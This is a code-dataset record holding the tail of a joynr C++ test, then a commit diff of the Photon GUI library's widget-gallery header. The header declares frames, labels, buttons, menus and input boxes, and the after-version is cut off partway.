subscribeTo(testProxy.get(), subscriptionListener, subscriptionQos, subscriptionId);\n\n (*testProvider.*fireBroadcast)(expectedValues...);\n\n \/\/ Wait for a subscription message to arrive\n ASSERT_TRUE(semaphore.waitFor(std::chrono::seconds(3)));\n unsubscribeFrom(testProxy.get(), subscriptionId);\n }\n};\n\n} \/\/ namespace joynr\n<|endoftext|>"} {"text":"<commit_before>\/*=================================================================================================\n Copyright (c) 2016 Joel de Guzman\n\n Licensed under a Creative Commons Attribution-ShareAlike 4.0 International.\n http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/\n=================================================================================================*\/\n#if !defined(PHOTON_GUI_LIB_WIDGET_GALLERY_JUNE_5_2016)\n#define PHOTON_GUI_LIB_WIDGET_GALLERY_JUNE_5_2016\n\n#include <photon\/support\/theme.hpp>\n#include <photon\/support\/text_utils.hpp>\n#include <photon\/widget.hpp>\n\nnamespace photon\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Frames\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class frame : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Headings\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class heading : public widget\n {\n public:\n\n heading(std::string const& text, float size_ = 1.0)\n : _text(text)\n , _size(size_)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n std::string text() const { return _text; }\n void text(std::string const& text) { _text = text; }\n\n using widget::text;\n\n private:\n\n std::string _text;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Labels\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class label : public widget\n {\n public:\n\n label(std::string const& text, float size_ = 1.0)\n : _text(text)\n , _size(size_)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n std::string text() const { return _text; }\n void text(std::string const& text) { _text = text; }\n\n using widget::text;\n\n private:\n\n std::string _text;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Grid Lines\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class vgrid_lines : public widget\n {\n public:\n\n vgrid_lines(float major_divisions, float minor_divisions)\n : _major_divisions(major_divisions)\n , _minor_divisions(minor_divisions)\n {}\n\n virtual void draw(context const& ctx);\n\n private:\n\n float _major_divisions;\n float _minor_divisions;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Groups\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <typename Heading, typename Content>\n inline auto make_group(\n Heading&& heading,\n Content&& content,\n bool center_heading = true\n )\n {\n auto align_ = center_heading? 0.5 : 0;\n return\n layer(\n align_top(halign(align_, margin({ 10, 4, 10, 4 }, heading))),\n std::forward<Content>(content),\n frame{}\n );\n }\n\n template <typename Content>\n inline auto group(\n std::string title,\n Content&& content,\n float label_size = 1.0,\n bool center_heading = true\n )\n {\n return make_group(\n left_top_margin({ 10, 10 }, heading{ title, label_size }),\n std::forward<Content>(content), center_heading\n );\n }\n\n template <typename Heading, typename Content>\n inline auto make_unframed_group(\n Heading&& heading,\n Content&& content,\n bool center_heading = true\n )\n {\n auto align_ = center_heading? 0.5 : 0;\n return\n layer(\n align_top(halign(align_, margin({ 10, 4, 10, 4 }, heading))),\n std::forward<Content>(content)\n );\n }\n\n template <typename Content>\n inline auto unframed_group(\n std::string title,\n Content&& content,\n float label_size = 1.0,\n bool center_heading = true\n )\n {\n return make_unframed_group(\n left_top_margin({ 10, 10 }, heading{ title, label_size }),\n std::forward<Content>(content), center_heading\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Captions\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <typename Content>\n inline auto caption(Content&& content, std::string const& title, float size = 1.0)\n {\n return\n vtile(\n std::forward<Content>(content),\n align_center(top_margin(5.0, label(title, size)))\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Icons\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class icon : public widget\n {\n public:\n icon(std::uint32_t code_, float size_ = -1);\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n private:\n\n std::uint32_t _code;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Buttons\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n auto const button_margin = rect{ 10, 5, 10, 5 };\n auto const default_button_color = color{ 0, 0, 0, 0 };\n\n class basic_button_body : public widget\n {\n public:\n\n static float corner_radius;\n\n basic_button_body(color body_color);\n virtual void draw(context const& ctx);\n\n private:\n\n color body_color;\n };\n\n inline basic_button_body::basic_button_body(color body_color)\n : body_color(body_color)\n {}\n\n template <typename Button, typename Label>\n inline Button make_button(Label&& label, color body_color = default_button_color)\n {\n auto btn_body_off = basic_button_body(body_color.level(0.9));\n auto btn_body_on = basic_button_body(body_color.opacity(0.5));\n\n auto btn_img_off = layer(label, btn_body_off);\n auto btn_img_on = left_top_margin({1, 1}, layer(label, btn_body_on));\n\n return Button(std::move(btn_img_off), std::move(btn_img_on));\n }\n\n template <typename Button>\n inline Button make_button(\n std::string const& text\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(label(text))\n ),\n body_color\n );\n }\n\n template <typename Button>\n inline Button make_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(\n htile(\n right_margin(8, icon(icon_code)),\n label(text)\n )\n )\n ),\n body_color\n );\n }\n\n template <typename Button>\n inline Button make_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(\n htile(\n label(text),\n left_margin(8, icon(icon_code))\n )\n )\n ),\n body_color\n );\n }\n\n basic_button\n button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_button\n button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_button\n button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Check Box\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void draw_check_box(\n context const& ctx, std::string const& text, bool state, bool hilite\n );\n\n template <bool state>\n class check_box_widget : public widget\n {\n public:\n check_box_widget(std::string const& text)\n : _text(text)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n private:\n\n std::string _text;\n };\n\n template <bool state>\n widget_limits check_box_widget<state>::limits(basic_context const& ctx) const\n {\n auto& thm = get_theme();\n auto size = measure_text(ctx.canvas, _text.c_str(), thm.label_font, thm.label_font_size);\n return { { size.x, size.y }, { size.x, size.y } };\n }\n\n template <bool state>\n void check_box_widget<state>::draw(context const& ctx)\n {\n draw_check_box(ctx, _text, state, ctx.bounds.includes(ctx.view.cursor_pos()));\n }\n\n inline basic_toggle_button check_box(std::string const& text)\n {\n return basic_toggle_button(\n check_box_widget<false>{ text }\n , check_box_widget<true>{ text }\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Icon Button\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void draw_icon_button(context const& ctx, uint32_t code, float size, bool state, bool hilite);\n\n template <bool state>\n class icon_button_widget : public widget\n {\n public:\n icon_button_widget(uint32_t code, float size)\n : _code(code)\n , _size(size)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n uint32_t _code;\n float _size;\n };\n\n template <bool state>\n widget_limits icon_button_widget<state>::limits(basic_context const& ctx) const\n {\n auto size = _size * 1.8f;\n return { { size, size }, { size, size } };\n }\n\n template <bool state>\n void icon_button_widget<state>::draw(context const& ctx)\n {\n draw_icon_button(ctx, _code, _size, state, ctx.bounds.includes(ctx.view.cursor_pos()));\n }\n\n inline basic_toggle_button icon_button(uint32_t code, float size)\n {\n return {\n icon_button_widget<false>{ code, size }\n , icon_button_widget<true>{ code, size }\n };\n }\n\n inline basic_toggle_button icon_button(uint32_t code1, uint32_t code2, float size)\n {\n return {\n icon_button_widget<false>{ code1, size }\n , icon_button_widget<true>{ code2, size }\n };\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Popup Button\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n basic_popup_button\n popup_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Menu Background\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class menu_background : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Menu Items\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n inline auto menu_item_text(std::string const& text)\n {\n return xside_margin({ 20, 20 }, align_left(label(text)));\n }\n\n inline auto menu_item(std::string const& text)\n {\n return basic_menu_item(menu_item_text(text));\n }\n\n class menu_item_spacer_widget : public widget\n {\n public:\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n };\n\n inline auto menu_item_spacer()\n {\n return menu_item_spacer_widget{};\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Text Entry\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class input_panel : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n template <typename InputBox, typename Panel>\n inline auto input_box(\n InputBox&& text_input\n , Panel&& panel\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return layer(\n margin(\n pad,\n scroller(\n hsize(16384, std::move(text_input)),\n no_scrollbars | no_vscroll\n )\n ),\n std::move(panel)\n );\n }\n \n template <typename InputBox>\n inline auto input_box(\n InputBox&& text_input\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(std::move(text_input), input_panel{}, pad);\n }\n\n inline auto input_box(\n std::string const& placeholder\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(\n basic_input_box{ placeholder }\n , pad\n );\n }\n\n inline auto input_box(\n char const* placeholder\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(\n basic_input_box{ placeholder }\n , pad\n );\n }\n}\n\n#endif<commit_msg>Moved knob creation to photon gallery<commit_after>\/*=================================================================================================\n Copyright (c) 2016 Joel de Guzman\n\n Licensed under a Creative Commons Attribution-ShareAlike 4.0 International.\n http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/\n=================================================================================================*\/\n#if !defined(PHOTON_GUI_LIB_WIDGET_GALLERY_JUNE_5_2016)\n#define PHOTON_GUI_LIB_WIDGET_GALLERY_JUNE_5_2016\n\n#include <photon\/support\/theme.hpp>\n#include <photon\/support\/text_utils.hpp>\n#include <photon\/widget.hpp>\n\nnamespace photon\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Frames\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class frame : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Headings\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class heading : public widget\n {\n public:\n\n heading(std::string const& text, float size_ = 1.0)\n : _text(text)\n , _size(size_)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n std::string text() const { return _text; }\n void text(std::string const& text) { _text = text; }\n\n using widget::text;\n\n private:\n\n std::string _text;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Labels\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class label : public widget\n {\n public:\n\n label(std::string const& text, float size_ = 1.0)\n : _text(text)\n , _size(size_)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n std::string text() const { return _text; }\n void text(std::string const& text) { _text = text; }\n\n using widget::text;\n\n private:\n\n std::string _text;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Grid Lines\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class vgrid_lines : public widget\n {\n public:\n\n vgrid_lines(float major_divisions, float minor_divisions)\n : _major_divisions(major_divisions)\n , _minor_divisions(minor_divisions)\n {}\n\n virtual void draw(context const& ctx);\n\n private:\n\n float _major_divisions;\n float _minor_divisions;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Groups\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <typename Heading, typename Content>\n inline auto make_group(\n Heading&& heading,\n Content&& content,\n bool center_heading = true\n )\n {\n auto align_ = center_heading? 0.5 : 0;\n return\n layer(\n align_top(halign(align_, margin({ 10, 4, 10, 4 }, heading))),\n std::forward<Content>(content),\n frame{}\n );\n }\n\n template <typename Content>\n inline auto group(\n std::string title,\n Content&& content,\n float label_size = 1.0,\n bool center_heading = true\n )\n {\n return make_group(\n left_top_margin({ 10, 10 }, heading{ title, label_size }),\n std::forward<Content>(content), center_heading\n );\n }\n\n template <typename Heading, typename Content>\n inline auto make_unframed_group(\n Heading&& heading,\n Content&& content,\n bool center_heading = true\n )\n {\n auto align_ = center_heading? 0.5 : 0;\n return\n layer(\n align_top(halign(align_, margin({ 10, 4, 10, 4 }, heading))),\n std::forward<Content>(content)\n );\n }\n\n template <typename Content>\n inline auto unframed_group(\n std::string title,\n Content&& content,\n float label_size = 1.0,\n bool center_heading = true\n )\n {\n return make_unframed_group(\n left_top_margin({ 10, 10 }, heading{ title, label_size }),\n std::forward<Content>(content), center_heading\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Captions\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <typename Content>\n inline auto caption(Content&& content, std::string const& title, float size = 1.0)\n {\n return\n vtile(\n std::forward<Content>(content),\n align_center(top_margin(5.0, label(title, size)))\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Icons\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class icon : public widget\n {\n public:\n icon(std::uint32_t code_, float size_ = -1);\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n private:\n\n std::uint32_t _code;\n float _size;\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Buttons\n 